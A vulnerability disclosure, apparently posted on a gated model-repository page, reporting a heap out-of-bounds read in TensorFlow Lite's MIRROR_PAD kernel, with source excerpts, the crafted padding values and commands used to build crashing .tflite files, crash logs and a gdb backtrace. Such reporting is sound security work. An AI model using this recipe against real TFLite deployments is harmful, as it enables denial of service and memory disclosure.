You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

TFLite MIRROR_PAD: heap out-of-bounds read via unvalidated attacker-controlled paddings tensor

Summary

The TensorFlow Lite MIRROR_PAD builtin kernel (tensorflow/lite/kernels/mirror_pad.cc) never validates the values of the paddings input tensor against the corresponding input dimension sizes. A crafted .tflite model with a large left_pad causes the kernel worker to read input_data[GetFlatIndex(i)] far past the end of the small input allocation, producing a heap out-of-bounds read and a reproducible SIGSEGV. A single maliciously crafted model file is sufficient β€” no runtime inputs required, since both the input and the paddings are stored as constant buffers.

  • Target: TensorFlow Lite runtime (tflite::ops::builtin::mirror_pad)
  • Component/file: tensorflow/lite/kernels/mirror_pad.cc
  • Op: MIRROR_PAD (builtin code 100), modes REFLECT and SYMMETRIC
  • Version reproduced: pip tensorflow 2.21.0, x86-64 Linux (CPython 3.13)
  • Class: CWE-125 heap out-of-bounds read (untrusted model file)
  • Resolvers affected: both BUILTIN_REF (reference kernels) and the default optimized BUILTIN resolver

Root cause

Prepare() only validates the shape of the paddings tensor β€” that it is 2-D and that dim0 == input_rank. It never checks the individual pad values against the input dimension sizes:

// mirror_pad.cc β€” Prepare()
TF_LITE_ENSURE_EQ(context, NumDimensions(padding_matrix), 2);
TF_LITE_ENSURE_EQ(context, SizeOfDimension(padding_matrix, 0),
                  NumDimensions(input_tensor));
// ... no check that padding_matrix[i][0] < SizeOfDimension(input_tensor, i)

GetPaddedOutputShape() then computes each output dimension directly from the raw attacker-controlled values:

// output_dim = input_dim + left_pad + right_pad   (attacker values, unchecked)
output_dims->data[i] =
    SizeOfDimension(input_tensor, i) + paddings[i*2] + paddings[i*2 + 1];

At execution, Eval() dispatches MirrorPadWorkerTask<T>::Run(), which for each output element computes the source flat index via GetFlatIndex() -> GetInputDimension(). For REFLECT (offset = 1) and SYMMETRIC (offset = 0), GetInputDimension() maps output element 0 to input index left_pad + offset - 1 with no clamp to [0, input_dim_size). TFLite/TF only require left_pad < input_dim (REFLECT) / left_pad <= input_dim (SYMMETRIC) semantically, but this constraint is enforced nowhere in the kernel.

Consequently a large left_pad makes the worker execute output_data[i] = input_data[GetFlatIndex(i)] with GetFlatIndex(i) ~= left_pad, reading far beyond the tiny input buffer. The output allocation itself succeeds (e.g. 8 + 0x04000000 floats ~= 268 MB), so allocate_tensors() returns OK and the crash occurs inside invoke().

Proof of concept

mk.py hand-builds a minimal .tflite (via tensorflow.lite.python.schema_py_generated flatbuffer) containing a single MIRROR_PAD op:

  • input: float32[8], constant buffer
  • paddings: int32[1,2] constant = [0x04000000, 0] (left = ~67M, right = 0)
  • output: float32[8 + 0x04000000]
  • MirrorPadOptions.mode = REFLECT (also verified SYMMETRIC -> crash_sym.tflite)

load.py loads the model, calls allocate_tensors() then invoke(), printing [c] (constructed), [a] (allocated), [i] (invoked). The crash aborts the process after [a] and before [i].

Build & run:

python mk.py 0x04000000 0 0 crash.tflite       # REFLECT
python mk.py 0x04000000 0 1 crash_sym.tflite   # SYMMETRIC
python mk.py 3 2 0 neg.tflite                  # negative control (valid pads for dim 8)

python load.py crash.tflite ref    # BUILTIN_REF resolver  -> SIGSEGV
python load.py crash.tflite def    # default BUILTIN resolver -> SIGSEGV
python load.py neg.tflite   ref    # clean, exit 0, out (13,)

Captured evidence (verbatim)

Re-verified on pip tensorflow 2.21.0 (CPython 3.13, x86-64 Linux):

=== crash.tflite ref ===
exit=139
=== crash.tflite default ===
exit=139
=== crash_sym.tflite ref ===
exit=139
=== neg.tflite ref ===
[c]
[a]
[i]
out (13,)
exit=0
=== neg.tflite default ===
[c]
[a]
[i]
out (13,)
exit=0

Exit 139 = 128 + SIGSEGV(11). The crash model prints [c][a] and dies before [i]; the negative control (valid paddings [3,2] for input dim 8) runs to completion with the correct padded output shape (13,) on both resolvers.

gdb backtrace (top frames)

#0 0x00007fffa012c5f7 tflite::ops::builtin::mirror_pad::(anonymous namespace)::MirrorPadWorkerTask<float>::Run()
#1 0x00007fffa012b2fc tflite::cpu_backend_threadpool::Execute<...MirrorPadWorkerTask<float>>(int, ...)
#2 0x00007fffa012a7bb tflite::ops::builtin::mirror_pad::Eval(TfLiteContext*, TfLiteNode*)
#3 0x00007fff9facbf20 tflite::Subgraph::InvokeImpl()
#4 0x00007fff9facb6ef tflite::Subgraph::Invoke()

Registers at fault: rdi=0x4, rax=rsi=0x1ab1222 (27988514) β€” the computed source index used in the faulting read input_data[GetFlatIndex(i)].

Impact

Loading and invoking an untrusted .tflite model that contains a MIRROR_PAD op with oversized paddings triggers an out-of-bounds read of the input buffer. This is a denial of service (crash) and a potential information-disclosure primitive (the OOB-read values are written into the output tensor, which the caller reads back). Model files are a common untrusted-input surface for TFLite deployments.

Reproduction environment

  • tensorflow 2.21.0 (pip, CPU build), CPython 3.13, x86-64 Linux
  • Both experimental_op_resolver_type=BUILTIN_REF and the default BUILTIN optimized resolver crash identically
  • Both REFLECT and SYMMETRIC modes crash; negative control is clean

Files

  • mk.py β€” flatbuffer model generator
  • load.py β€” loader/harness (ref = BUILTIN_REF, else default resolver)
  • crash.tflite β€” REFLECT PoC (paddings [0x04000000, 0])
  • crash_sym.tflite β€” SYMMETRIC PoC
  • neg.tflite β€” negative control (paddings [3, 2], valid for input dim 8)
  • poc_crash_evidence.log, gdbcmds.txt β€” evidence + gdb command script

Dedup / prior-art note

This targets missing value validation of the paddings tensor in mirror_pad.cc (OOB read via GetInputDimension() with no clamp). It is distinct from prior TFLite MIRROR_PAD advisories that concerned integer overflow in the output-size computation / CalculateOutputSize (e.g. the 2020-era GHSA/CVE MirrorPad overflow reports), which addressed overflow of the shape computation rather than the unclamped source-index read in the worker task at invoke time. No CVE was found matching this specific unvalidated-left_pad OOB-read path in the current (2.21.0) kernel. Reported as a new finding; if maintainers determine it overlaps an existing hardening, please treat as a confirmation/regression report against 2.21.0.

Downloads last month
-
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support